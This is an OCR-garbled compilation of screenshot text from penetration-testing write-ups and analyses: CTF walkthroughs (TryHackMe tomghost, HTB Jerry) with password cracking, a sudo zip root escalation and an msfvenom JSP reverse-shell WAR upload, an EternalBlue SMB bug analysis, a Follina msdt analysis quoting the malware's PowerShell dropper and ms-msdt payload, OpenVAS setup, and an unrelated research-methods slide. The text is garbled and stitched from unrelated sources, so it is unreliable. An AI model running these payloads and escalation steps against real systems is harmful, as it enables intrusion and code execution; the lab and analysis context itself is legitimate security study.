john@xps15:~/ctf/tryhackme/tonghost$ cat credential.pgp
0a00a00000g0tyeSeseBeode_0eeQseD+ofose!e

SI0H: ,600N000000 ' UOFP:Ba0SSou=

1010057 :EM, 00pob
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R

john@xps15

~/ctf/tryhackne/tomghost$ AC

EOEL EEEEESEE
Jomn@xpe1s: /e tymackmetomgpost 11951 o

john@xps15:~/ctf/tryhackme/tonghost$ 1s

.ru-r--r-- 394 john
druxr-xr-x - john
druxr-xr-x - john

.ru-r--r-- 2.1k john
.Pu-r--r-- 5.1k john

22
22
22
22
22

Apr 22:22 credential.pgp

Apr 22:20 Ghostcat-CNVD-2020-10487
Apr 22:15 nmap

Apr 22:22 README.nd

Apr 22:22 tryhackme.asc

john@xps15:~/ctf/tryhackne/tonghost$ /opt/JohnTheRipper/run/gpg2john tryhackme.asc

File tryhackme.asc

tryhackme:$gpg$*17*54*3072*713ee3f57cc950f8f89155679abe2476c62bbd286ded0e049f886d32d2b9eb06f482e9770c710abc2903f1ed70af

6fcc22f5608760be*3*254*2*9*16*0c99d5dae8216f2155ba2abfcc71f818*65536*c8f277d2faf97480:

> tryhackne. asc

:tryhackme <stuxnet@tryhackme.co

John@xps15:~/ctt/tryhackne/tonghosts /opt/JohnTheRipper/run/gpg2john tryhackme.asc > hashes_for_john. txt

File tryhackme.asc

John@xps15:~/ctf/tryhackne/tonghost$ /opt/JohnTheRipper/run/gpg2john tryhackme.asc > hashes_for_john.txtll
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John@xps15i/ctf/tryhackne/tonghost$ fopt/JohnTheRipper/run/john --wordlist=/opt/rockyou.txt hashes_for_john.txt @
Using default input encoding: UTF-8

Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
cost 1 (s2k-count) is 65536 for all loaded hashes

[Cost 2 (hash algorithm [1:MDS 2:SHA1 3:RIPEMD16 8:SHA256 9:SHA384 1
[Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CASTS5 4:Blowfish 7:AES128
11ia192 13:Camellia256]) is 9 for all loaded hashes

Will run 12 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status
(tryhackme)

19 0:00:00:01 DONE {2020-04-22 22:26) 0.6756g/s 729.7p/s 729.7c/s 729.7C/s theresa..brownie

Use the "--show" option to display all of the cracked passwords reliably

Session completed.
john@xps15:~/ctf/tryhackne/tonghosts

HA512 11:SHA224]) is 2 for all loaded hashes
ES192 9:AES256 10:Twofish 11:Camellial28 12:Came
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lahngxps1s:-Jefeyhackneromghost

john@xps15: ~/ctf/tryhackme/tomghosts
john@xps15:~/ctf/tryhackme/tomghost$ 1s

o1ty mpackmefomerart 12679

JFW-r--r-- 394 john 22 Apr 22:22 credential.pgp

druxr-xr-x - john 22 Apr 22:20 Ghostcat-CNVD-2020-10487
.ru-r--r-- 256 john 22 Apr 22:23 hashes_for_john.txt
druxc-xr-x - john 22 Apr 22:15 amap

.ru-r--r-- 2.1k john 22 Apr 22:22 README.md

.ru-r--r-- 5.1k john 22 Apr 22:22 tryhackme.asc
john@xps15:~/ctf/tryhackme/tomghosts gpg --import tryhackme.asc

lgpg: key 8F3DA3DEC6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
lopg: key 8F3DA3DEC6707170: secret key imported

lgpg: key 8F3DA3DEC6767170: "tryhackme <stuxnet@tryhackme.coms
lapg: Total number processed: 2

not changed

lapg: imported: 1
lapg: unchanged: 1
apg: secret keys read: 1

lopg:  secret keys imported: 1
John@xps15: ~/ctf/tryhackme/tomghosts [l




image117.png
e z 7o : o= Bt @ owm g
john@xps15:~/ctf/tryhackme/tonghost$ s 0

Joha@aps1s:-fttRiyhackme Romghost

WFw-r--r-- 394 john 22 Apr 22:22 credential.pgp

drwxr -xr-x Jjohn 27 2:20 Ghostcat-CNVD-2020-10487
WFW-r--T 256 john 2225 hashes_for_john.txt
druxr-xr- - john 2:15 nmap

EN=r--5 2.1k john 22:22 README.md

orW-r--r-- 5.1k john 22 tryhackme.asc

john@xps15 -/ct(/lryhackme/tcmghosts apg rrdecrypt credential.pgp

Japg: WARNING: cipher algorithm CAST5 not found in recipient preferences

japg: encrypted with 1024-bit ELG key, ID 61E104A66184FBCC, created 2020-03-11
<stuxnet@

FEER]john@xps15:~/ctf/tryhackme/tomghost$
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skyfuck@ubuntu:~$ 1s

credential.pgp tryhackme.asc

skyfuck@ubuntu:~$ mdSsum credential.pgp

612605b6bade36682f8300eae9938cb4 credential.pgp

skyfuck@ubuntu:~$§ AC

skyfuck@ubuntu:~$ logout

[Connection to 10.10.249.194 closed.
john@xps15:~/ctf/tryhackme/tomghost/Ghostcat-CNVD-2020-10487% ssh merlin@$IP
Imer11n@10.10.249.194"'s password: I
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Last login: Tue Mar 10 22:56:49 2020 from 192.168.85.1
merlin@ubuntu:~$§

merlin@ubuntu:~$ 1s

user. txt

merlin@ubuntu:~§
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rt. NTLps://udbuntu.com/advantage

Last login: Tue Mar 10 22:56:49 2020 from 192.168.85.1
merlin@ubuntu:~§

merlin@ubuntu:~$ s

user . txt

merlin@ubuntu:~$ cat user.txt
THM{GhostCat_1s_so_crdsy}

merlin@ubuntu:~3
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merlin@ubuntu: -

Gl merin@ubuetc - 12125

merlin@ubuntu:~$ sudo -1

[Matching Defaults entries for merlin on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:

(root : root) NOPASSWD: /usr/bin/zip
merlin@ubuntu:~$
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GTFOBIns s =

GTFOBIns is a curated list of Unix binaries that can be exploited by an attacker to
bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to get
thef*k break out restricted shells, escalate or maintain elevated privileges,
transfer files, spawn bind and reverse shells, and facilitate the other post-
exploitation tasks. See the fulllist of functions.

This was inspired by the LOLBAS project for Windows.

GTFOBIns is a collaborative project created by norbemi and cyrus_and where everyone can
contribute with additional binaries and techniques.

zip|

Binary Functions

zip shell || sudo |[ Limited SUID
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Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain
access with elevated privileges if enabled on sudo..

&

TF=$(nktenp -u)
sudo 2ip STF /etc/hosts -T -TT
sudo rm STF

‘sh #'

—y

TF=$(mktemp -u)
HILLNzip $TF /etc/hosts -T -TT 'sh #

sudo rm $TF
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merlin@ubuntu:~$ sudo -1

Matching Defaults entries for merlin on ubuntu:

env_reset, mail_badpass,

secure_path=/ust/local/sbin\: /usr/local/bin\: /usr/sbin\: /usr/bin\: /sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:
(root : root) NOPASSWD: /usr/bin/zip
nerlin@ubuntu:~$ TF=$(mktemp -u)

nerlin@ubuntu:-$ sudo zip $TF fetc/hosts -T -TT 'sh #'
adding: etc/hosts (deflated 31%)

i
rn: nissing operand

Try 'rm --help’ for more information.
# ALls

sh: 2:

1s: not found

# s

user . txt

# cd /root

uid=0(root) gid=6(root) groups=0(root)
# whoami

root

# cat root.txt

THI{Z1P_1S_FAKE}
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root@kali:~# nmap -p- -sV 10.10.10.95
Starting Nmap 7.8 ( https://nmap.org ) at 2019-11-18 20:26 EST

Stats: 0:01:42 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 42.49% done; ETC: 20:30 (0:02:03 remaining
Stats: 0:02:39 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 86.11% done; ETC: 20:29 (0:00:37 remaining

Nmap scan report for 16.10.10.95

Host is up (0.653s latency).

Not shown: 65534 filtered ports

PORT STATE SERVICE VERSION

8080/tcp open http  Apache Tomcat/Coyote JSP engine 1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
INmap done: 1 IP address (1 host up) scanned in 210.29 seconds
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root@kaliz~# nikto -h 10.10.10.95:8080
- Nikto v2.1.6

+ Target Ip: 10.10.10.95
+ Target Hostname:  10.10.19.95

[+ Target Port: 8080

[+ start Time: 2019-11-18 20:32:23 (GMT-5)

[+ Server: Apache-Coyote/1.1

[+ The anti-clickjacking X-Frame-Options header is not present.

[+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a diffe
ent fashion to the MIME type

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ 0SVDB-39272: /favicon.ico file identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.8.15), Alfresco Com
unity

[+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS

[+ OSVDB-39 HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.

[+ 0SVDB-5646: HTTP method ('Allow' Header): ‘DELETE' may allow clients to remove files on the web server.

+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.

+ /examples/serviets/index.htnl: Apache Tomcat default JSP pages present.

+ 05VDB-3726: /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users.

+ Default account found for ‘Tomcat Manager Application’ at /manager/html (ID ['toncati, Pw i. Apache Tomcat.

+

+

L

M

M

/host-manager/html: Default Tomcat Manager / Host Manager interface found
/manager/html: Tomcat Manager / Host Manager interface found (pass protected)
/manager/status: Tomcat Server Status interface found (pass protected)

7967 requests: © error(s) and 14 item(s) reported on remote host

€nd Time 2019-11-18 20:40:50 (GMT-5) (507 seconds)

4+ 1 host(s) tested
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(—/ > C® ® 10.10.10.95:8080 - O LN @ ¢

Home Documentation Configuration Examples Wiki Mailing Lists Find Help

Apache Tomcat/7.0.88 / Aence :

If you're seeing this, you've successfully installed Tomcat. Congratulation:

™ Recommended Reading:

Serve status
Security Considerations HOW-TO
Manager App
Manager Application HOW-TO
Clustering/Session Replication HOW-TO s,
Developer Quick Start
Tomcat Setup. Realms & AAA ‘Examples ‘Serviet Specifications
Eirst Web Application JDBC DataSources Tomeat Versions
Managing Tomcat Documentation Getting Help
For security, access 1o the manager webapp Tomcat 7.0 Documentation FAQ and Mailing Lists
s fesicted Bsers e defned i Tomeat 7.0 Configuration “The following mailing lists are avalable:

SCATALINA_HOME/conf/toncat -users . xnl
T B ——
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Authentication Required (sandboxed or root)

, http://10.10.10.95:8080 is requesting your username and password. The site says:
“Tomcat Manager Application”

User Name:

Password: M

Cancel OK
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@-) c ® ® 10.10.10.95:8080/manager/html a] LrmD® :
APACHE
Tomcat Web Application Manager
Message: |
|List Applications HTML Manager Help Manager Help Server Status|

start | Stop Reload Undeploy

Expire sessions | with idle = E minutes.
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[ (helenB DESKTOP-HIKG3CA) - [~]
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= 4444 —f war > shell.war
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Select WAR file to upload [EJE)MiI-NWM N O file selected.
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« > C @ | ® 10.10.10.95:8080/manager/htmiupload?org.apache.catalina.filters. CSRF_NC - LinmD®
| Expiresessions | with |d|ez\ 30 | minutes
docs INone specified —|Tomcat Documentation true 0 ‘
| Expiresessions | withidie =| 30 minutes
rt [ stop || Reload Undeploy
fexamples None specified  |servlet and 5P Examples true 2
| Egiresessins | withidle 230 | | minutes
Stop || Reload || Undeploy
host-manager | None specified | Tomcat Host Manager Application true [ =
Expire sessions wnhnlezr!o minutes
Start_stop Reload_Undeploy
manager None specified —|Tomcat Manager Application true 3 [
pee oer ARl Expire sessions | with idle = | 30 minutes
t | Stop || Reload Undeploy
myshell None specified. true [
Expire sessions | with idle =| 30 minutes
rt [ Stop || Reload Undeploy
shell (None specified true 0

idle 2| 30 minutes

Expire sessions | wi
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(e DS e =
$ nc -nvlp 4444
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rootokali:/opt/HTB/Jerry# nc -nlvp 1234
Listening on [any] 1234 ..

{connect o [10.10.14.2] from (UNKNOWN) [10.10.10.95] 4919:
Microsoft Windows [Version 6.3.9600

(c) 2013 Microsoft Corporation. ALL rights reserved

c:\apache- toncat-7.0.885)
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“<<cd ../../Users/Administrator>>
<<cd Desktop>>

<<dir>>

<<cd flags>>

<<type “2 for the price of 1.txt">>"
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C:\Users\Administrator\Desktop\flags>dir
dir

Volune in drive C has no label.

Volune Serial Number is FC2B-E489

Directory of C:\Users\Adninistrator\Desktop\flags

06/19/2018 06:09 AM  <DIR>
06/19/2018 06:09 A  <DIR> -
06/19/2018 06:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 27,601,879,040 bytes free

Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"

user.txt

7004dbcef0T854e0b40187526ebd00

root. txt
04aBb36e15453455393d067e772feg0e
C:\Users\Administrator\Desktop\flags>
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SrvOs2FealistSizeToNT:

1unsigned int _stdcall Sru0s2FealistSizeloNt(0s2Fealist xp0s2Fealist)
28
3 vold sEndRddressOf0s2Fealist; // edi
| UsoFea spCurrentszFeaRecord; 7/ esim
5| int Current0soFeaRecordSize; 7/ ebxad
H
7
8

unsigned int NtFealistsize; 7/ [spech] [bp-unja1
NtFealistsize = 5
10 pCurrent0s2FeaRecord = &pUs2Feal ist->FeaRecords;

1) 1F ( Gp0szFealist->FeaRecords < EndaddressoF0szFealist ) If the condition in the lines.
12 ¢

3] whLTe € pourrentoszFeaRecord->AtEributeNane < ENGAddressOFDS2Feal st )| that are marked in
W causes o exit from the
95 CurrentOszResiecordsize = pLurrents2fesRecord->AttributeValueLengthingytes while loop, it can lead to
16 © DCuPEentO2r e aecord->AttributeHanel engthInbytes:

17 17 The conditions to tnis break are: tha.bug,(ine. 32),

18 77 1. The start adoress of AttributeNane variable in CurrentFeaRecord is saller than the EndAdressfFealist

0L/ 2  The end address of GurrentFeatecord is bigger than the EndioressofFealist

77 Update NeFealistsize

2u return 0;
25 77 Getthe next FEA Record

26 pCurrentisoFeaRecord = (0s2Fea %)((char »)pCurrentOs2FeaRecord + Current0s2FeaRecordsize + 5);
27 iF ( pLurrent0soFeaRecord >= EndAddress0f0s2Fealist )

28 return Nifealistsize;

29

»
30/ upm.s the SizeDfListInBytes inside Os2Fealist (SHB_FEA_LIST struct) in a buggy forn,

Vora_in_3izeOfListInBytes is_updated instead of the entire struct variable size uhich is Dord
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Figure 2: Percentage of organizations compromised by at least one
successful attack.
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SrvOs2FeaToNT:

nsigned int _stdcall Sru0s2FealoNt(NtFealist xpNtFealist, 0s2Fea xpCurrent0s2FeaRecord)

char «phtEaalue; // ebxal
unsigned int NextEntryaddress // cax1

PNEFeal150-5F1ags = pCurentis2Feanecor d->ExtendedAttributeFLags
DHEFealist->NtFealaneLength = pCurrent0s2r eafiecord->AttributeNaneLengthInBytes;
DNEFeaLict->NtFeabalueLength = prurr-entis2i corecord->AttributeValueLengthingytes;
_nennove (plitFeal it ->NEFeaName, pCurrent0s2Feaiccord->AttributeName, peurrent0s?reanccor
10 pHtEalalue = &Nt calist->NtFeaNane[phtF ealist->NtFeaNaneLength];

11| *pHtEavaluess

12| _nemnove(

13| pNtEavalue,
1 EpCurrentiioreanecord->AttributeNane[pitreal ist->NtFeaNaneLength + 11,

5| pNirealisiooNtFeaUaluelength);

6] HextEntryAddress = (unsigned int)&pHEEaUSTUC[pHEFeal ist->NtFealaluelength + 3] & OXFFFFFFFCS

7] pHCFeaList->NextENtryOFFSet = ((Unsigned int)BRHCEaUalue[phis ealist->NEFeaValueLength + 3] & BXFFFFFFFC)// allignnent
18 - (CoMORD)pNCFeal ists

19| return NextEntrynddress;

->AttributeNaneLengthinBytes)
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BlockingSessionSetupAndX (request, smbeader)
{
" .

// check vord count
if (1 (request->WordCount == 13 || (request->WordCount == 12 & (request->Capablilities & CAP_EXTENDED_SECURITY))) ) {
/1 error and revurn

}

" .

if ((request->Capablilities & CAP_EXTENDED_SECURITY) && (smbHeader->Flags? & FLAGS2_EXTENDED_SECURITY)) {
// this request is Extend Security request
GetExtendSecurityParaneters (request) ; // extract parameters and data to varisbles (allocation)
SrvVelideteSecurityBuffer (request) ; // do authentication

}

else (
// this request is NI Security request

SrvVelideteUser (request) ; // do authentication
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Executable scan application that runs vulnerability tests (VT) against target
systems

Greenbone Vulnerability Manager Daemon (gvmd)

Greenbone Security Assistant (GSA) with the Greenbone Security Assistant
Daemon (gsad)
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I finally had time to look at this critically and have decided it is not a security related issue.
msdt is indeed executed, but it requires a Passcode when it starts and the one provided in this sample does not work for me.

1 will be closing this case but appreciate you submitting it
Regards,

MSRC
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L—(kali@ lali)-[~/msdt]

$ unzip 05-2022-0438.doc

Archive: 05-2022-0438.doc
inflating: [Content_Types].xml
inflating: docProps/app.xml
inflating: docProps/core.xml
inflating: word/document.xml
inflating: word/fontTable.xml
inflating: word/settings.xml
inflating: word/styles.xml
inflating: word/webSettings.xml
inflating: word/theme/themel.xml

LAY ST -Blord/_rels/document.xml.rels|

inflating: _rels/.rels

L—(kali@ kali)-[~/msdt]
$




image14.png
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="
http://schemas.openxml formats. org/of ficeDocument/2006/ relationships/webSettings" Target="webSettings.xml"/><Relationship
To="r1d2" Type="http://schenas. openxml formats. oro/officeDocunent/2606/ relat Lonships/settings* Target="settings.xil"/><
Relationship Lo="rIdl" Type="hitp://schenas.openxnlfornats. org/officeDocunent/2006/ relationships/styles* Target
styles.xml"/><Relationship Id="rId996" Type="http://schemas.openxmlformats.org/of ficeDocument/2006/relationships/
olebbject" Target="httos://w:xnlformats. con/of fice/word/2622 /wordprocessingDrawing /ROFB42L.hta [ TargetHode="External”
/><Relationship Id: http://schemas .openxml formats.org/of ficeDocument/2006/relationships/theme" Target="theme/
thene1.xnL"/><R Lt onship d="rTda* Type="http://schenas .openxnlformats.org/of ficeDocunent/2006/ relationships/fontTable"
Target="fontTable.xml"/></Re Lationshipss
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$cmd = "c:\windows\system32\cmd.exe";

start-process $cmd -windowstyle hidden -ArgumentList "/c
taskkill /f /im msdt.exe";

start-Process $cmd -windowstyle hidden -Argumentlist "/c cd
C:\users\public\&&for /r %temp% %i in (@5-2022-e438.rar) do
copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -

decode 1.t 1.c &expand 1.c -F:* .8&rgh.exe";
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— Starts hidden windows to:

Kill msdt.exe if it is running

Loop through files inside a RAR file, looking for a
Base64 string for an encoded CAB file

—  Store this Base64 encoded CAB file as 1.t

— Decode the Base64 encoded CAB file to be

savedasl.c

— Expand the 1.c CAB file into the current

directory, and finally:

—  Execute rgb.exe (presumably compressed

inside the 1.c CAB file)
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location.href = "ms-msdt:/id PCWDiagnostic /skip force
/param \"IT_RebrowseForfile=? IT_LaunchMethod=ContextMenu

IT_BrowseForFile=/../../$(calc)/.exe\"";
It appeared that:

— At aminimum, two /../ directory traversals were

required at the start of the IT_BrowseForFile parameter

—  Code wrapped within $() would execute via PowerShell,

but spaces would break it

— ".exe" must be the last trailing string present at the end

of the IT_BrowseForFile parameter
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Author : CheckPoint

AttributeName = “Author™
AttributeValue = “CheckPoint”

AttributeNameLengthinBytes =6 (without null terminator)
AttributeValueLengthinBytes = 10 (without null terminator)
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1. Gets Os2FeaList

2. Calls srvos2FeaListSizeToNT to get the appropriate size for NtFeaList.

3. Allocates a buffer from the non-paged pool according to the size returned from
Srvos2FealistSizeToNT

Iterates over the 0s2FeaList until it reaches the sizeofListInBytes (from os2FeaList). In
each iteration, it calls srvos2FeaToNT to convert the 0s2Fea record to NT format and add it to
NtFealist
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1. Calculates the needed buffer size for NtFeaList. The buffer size is calculated according to
the required size to convert 0s2FeaList struct to NtFeaList struct [this is the return value
from the function)

2. Calculates how many records (in bytes) of 0s2Fea from os2FeaList should be converted to
NtFea to store them later (by Srvos2FealistToNt) in NtFeaList. The result of the calculation
is stored in the member of 0s2FeaList, named sizeofListInBytes, by overwriting the
previous value
Note - If there are no invalid Os2Fea records, the sizeofListInBytes remains untouched
However, if there is an invalid\overflowed Os2Fea record(s) in Os2FeaList, the value of
sizeofListInBytes is shrunk.

For example: If part of the FEA is in the range of the sizeofListInBytes and the remainder
of the FEA is “out of range” [bigger than sizeofListInBytes). It will ignore this FEA and any
further “out of range” FEA and shrink the sizeofListInByte to the size of all the “valid”
FEAs
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Before Converting Os2FealList to NtFeaList

Variable Name Variable Value

Os2FeaNt->SizeOfListInBytes 0x10000

After Converting Os2Fealist to NtFeaList|(if the bug would not exist)

Variable Name Variable Value

0Os2FeaNt->SizeOfListInBytes [Oxffsd

NtFealistSize ox10feg
After Converting Os2Fealist to NtFealList (the bug tsﬂ
Variable Name Variable Value

0s2FeaNt->SizeOfListInBytes O)Hffsd

NtFealistSize ox10fe8
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SMB Packet
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SMB_COM_NT_TRANSACT => SMB_COM_NT_TRANSACT_SECONDARY

SMB_COM_TRANSACTION2 => SMB_COM_TRANSACTION2_SECONDARY

In SMB_COM_TRANSACTION2, the maximum data that can be sent is represented by a parameter in the header

of SMB_coM_TRANSACTION2 in the field of a Word size. The same is true for the SMB_COM_TRANSACTION2_SECONDARY.

However, in SMB_COM_NT_TRANSACT, the maximum data that can be sent is represented by a parameter in the header

of SMB_COM_NT_TRANSACT in the field of bword size. The same is true for the SMB_COM_TRANSACTION2_SECONDARY.

Therefore, there is a difference between the amounts of data that can be sent in SMB_COM_TRANSACTION2, where the maximum
data length is represented in a Word [max @xFFFF), and in SMB_COM_NT_TRANSACT where the maximum is represented in a Dword
(exFFFFEFEF).

However, as there is no validation for which function started the transaction (SMB_COM_TRANSACTION2 OF SMB_COM_NT_TRANSACT),
parsing is according to the last transaction type.

Thus, it’s possible to send:
SMB_COM_NT_TRANSACT followed by SMB_COM_TRANSACTION2_SECONDARY

This situation can lead to wrong data parsing, and this bug enables
Bug_A by treating Dword as Word.

It happens when SMB_COM_NT_TRANSACT [Dword) is followed by SMB_coM_TRANSACTION2_SECONDARY [wiord). This leads to parsing the

data, wrongly, as if it originally came from a transaction of the SMB_COM_TRANSACTION2 type.
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SHB_Parameters

{

UCHAR WordCount;

Words
{
UCHAR  AndXCommand ;
UCHAR  AndXReserved;
USHORT AndXOffset;
USHORT HaxBufferSize;
USHORT MaxtipxCount;
USHORT VcNumber;
ULONG  SessionKey;
USHORT OEMPasswordLen;
USHORT UnicodePasswordLen;
ULONG Reserved;
ULONG Capabilities;

T

T

SHB_Data

{

USHORT ByteCount;

Bytes
{
UCHAR OEMPassword[ ]}
UCHAR UnicodePassword [
UCHAR Pad

SMB_STRING AccountNem
SMB_STRING PrimaryDomain(];
SMB_STRING NativeOS[];
SMB_STRING NativeLanMan[];
T
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SHB_Parameters

{

UCHAR WordCount;

Words
{
UCHAR  AndXCommand ;
UCHAR  AndXReserved;
USHORT AndXOffset;
USHORT HaxBufferSize;
USHORT MaxtipxCount;
USHORT VcNumber;
ULONG  SessionKey;
USHORT SecurityBloblLength;
ULONG Reserved;
ULONG Capabilities;
T

T

SHB_Data

{

USHORT ByteCount;

Bytes
{
UCHAR SecurityBlob[SecurityBlobLength];
SMB_STRING NativeOS[];
SMB_STRING NativeLanMan[];
T
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the red X (closed connection)
leads to execution of the HandlerFunction
From The FakeStruct,
HandlerFunction polnwlnb to the shellcode





image42.png
o clsea comcton

Non-paged pool

K XX

HAL's Heap

somat| sy | SRV | ran [lsomefusy ot susy | =274 RNET suny | o st adaess
| G | ok | 8 [[EnmEaiom ok =%, ChunkGhunk| e —

| Handier Fucntion




image43.png
%Exle«ml user

= Apache ~
mod_perl mod_jserv mod_ss!
—— wp wp A .

E4 Engine Engine Engine

[
SeMe\}_ Serviet | I Serviet

S TOT(T mnal Tila Ty 59 120 () 14 Bl T 1t 2 DOT (T




image44.png
Usage: /usr/bin/msfvenom [options]

Options:
-Ps

--payload

--payload-options

--list
~-nopsled
~—format
--help-formats
~-encoder

--arch
~-platform
~-help-platforms
~-space
--encoder-space

--bad-chars
—-iterations
--add-code
——template

~-var-name
~-smallest
—-help

Payload to use. Specify a '-* or stdin to use custom payloa
List the payload's standard options

[typel List a module type. Options are: payloads, encoders

Prepend a nopsled of [length] size on to the payload
Output format (use --help-formats for a list)
List available formats
The encoder to use
The architecture to use
The platform of the payload
List available platforms
The maximum size of the resulting payload
The maximum size of the encoded payload (defaults to the -
The list of characters to avoid example: ‘\x@@\xff'
The number of times to encode the payload
Specify an additional win32 shellcode file to include
Specify a custom executable file to use as a template
Preserve the template behavior and inject the paylo;
Save the payload
Specify a custom variable name to use for certain output
Generate the smallest possible payload
Show this message
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Worldviews

“a basic set of beliefs that guide action”

(Gubs, 1990, p. 17 cited i Creswell 2014, 6]

Postpositivism

Constructivism

* Determination

* Reductionism

+ Empirical observation and
measurement

+ Theory validation

* Understanding
* Multiple participant meanings

+ Sodial and historical construction
« Theory generation

Transformative

Pragmatism

« Political
+ Power and justice oriented
+ Collaborative

+ Change-oriented

« Consequences of actions

+ Problem-centered

+ Pluralistic

+ Reakworld practice oriented
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[>] You can now run gvm-check-setup to make sure everything is correctly configured

[ (@l kali)-[]
$ sudo gum-check-setup
[sudo] password for kali:

gvm-check-setup 21.4.3
Test completeness and readiness of GVM-21.4.3
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lali@kali ~

File Actions Edit View Help
kali@ kali)-[=]

L$ sudo apt update & sudo apt upgrade -y

Sudo] password for Kali:

Get:1 http://kali.download/kali kali-rolling InRelease [30.6 kB]

2 http://kali.download/kali kali-rolling/main amds Packages

Get:3 http://kali.download/kali kali-rolling/main amde4 Contents

8]
66% [3 Contents-amded 21.8 MB/42.8 MB 51%]

[18.4 m8]
(deb) [42.8

6487 ke/s 3l
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sudo gvm-feed-update
[>] Updating GVM feeds
[+] Updating NVT (Network Vulnerability Tests feed from Greenbone Security Fe
‘ed/Community Feed)
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(3] Shell No.1
File Actions Edit View Help

$ sudo gvm-start

[sudo] password for kali:

[>] Please wait for the GVM services to start.

]

[>] You might need to refresh your browser once it opens.

>]

[>] Web UI (Greenbone Security Assistant): https://127.0.0.1:9392
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File Actions

Edit View Help

or preset: disabled)

Active
Docs:

Process:

vas.conf —log-config /etc/gvn/ospd-logging.conf (cod:

s5)
Main PID:
Tasks:
Memory:

cp

CGroup:

ospd-openvas.

ospd-openvas.

Jun 06 06:14:

active (running) since Mon 2022-06-06 06:14:49 EDT; 125 ago

man:ospd-openvas(8)

T,

1320 Execstart-/usr/bin/ospd-openvas —-config /etc/gvm/ospd-open
-exited, status=0/SUCCE

1339 (ospd-openvas)
6 (Limit: 13335)
229.8M
1.0745
/system.slice/ospd-openvas.service
|-1339 /usr/bin/python3 /usr/bin/ospd-openvas —config /etc/gvm/
conf —log-config /etc/gum/ospd-logging. conf
1341 /ust/bin/python3 /usr/bin/ospd-openvas —config /etc/gn/
conf —log-config /etc/gym/ospd-logging. conf
1427 openvas —update-vt-info
1428 openvas —update-vt-info

47 kali systemd[1]: Starting OSPd Wrapper for the OpenVAS Scanne

r (ospd-openvas) ...

Jun 06 06:14:

49 Kali systend[1]: Started 0SPd Wrapper for the OpenVAS Scanner

(ospd-openvas).

[>] Opening Web UI (https://127.

9392) in: 5.

3 W, NP

,:(lialie kali)-[~]
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“\Usersnlony>ipconfig sall

indows IP Configuration
Host Name . . : Tony-PC
Primary Dns Suffix”

Node Type . . . e+« o« « o« F Hybrid
IP Routing Enabled. e s e s ss No
WINS Proxy Enabled. . . . . . . . No
DNS Suffix Search List. . . . . . : hone

[Ethernet adapter Local fArea Connection:

Connection-specific DNS Suffix
Description . .
Physical Address

hone
Intel(R> PRO/1008 MI Desktop Adapter
98-08-27-DF-FA-7B

DHCP Enabled. . . Yes

Autoconf iguration Enabled Yes
. ll’ug)ﬁddr:ss. e e e e e e e e e . 2a01:chiB:84b:e?00:h1a?:1998:4ef5:3038(Pr
eferre.

T:l;porary IPv6 Address. . . . . . : 2a@1:ch18:84h:e?80:ebh:hab?:2aal:cf92(Pref
erre

Link-local IPv6 Address :4ef5:3038x11 (Preferred)
IPv4 Address.
Subnet Mask .
Lease Obtaine
Lease Expires .
Default Gateway . . . . . . . .

fe80
192.
DHCP Server . . . . . & « & o o & 192.168.1.1
DHCPv6 IAID . . . 2354085351

DHCPu6 Client DUID. . . . . . . 00-01-08-01-2A-58-5A~15-08-008-27-DF-FA~7B

DNS Servers . . . . . . . . . . . I 2a@1:ch18:84b:e?00:7a81:2ff:fed9:h2cc

192.168.1.1
NetBIOS over Icgix. .. : Enabled
Connection-specific DNS Suffix Search List :

hone
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kali@kali: ~

[kati®kati)-
$ ifconfig -a
otho: flags=4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500

ether 08:00:27:db:96:6a txqueuelen 1000 (Ethernet)

RX packets 0 bytes 0 (0.0 B)

RX errors 0 dropped @ overruns 0 frame

TX packets 0 bytes 0 (0.0 B)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ST, RUNNING, MULTICAST> mtu 1500

inet 192.16! .11 netmask 255.255.255.0 broadcast 192.168.1.255
abe prefixlen 64 scopeid 0x20<link>

6b:c129:fb76 prefixlen 64 scopeid 0xo<global>
inet6 2a01:cb18:84b:e700:200:27ff: fe31:4abe prefixlen 64 scopeid @x0<global>
ether 08:00:27:31:4a:be txqueuelen 1000 (Ethernet)

RX packets 69 bytes 27165 (26.5 KiB)

RX errors 0 dropped 7 overruns 0 frame

TX packets 70 bytes 25754 (25.1 KiB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ethi: f

lo: flags-73<UP, LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
Toop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali® kali)-[~]
Lo
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C:\>ping 192.168.1.11
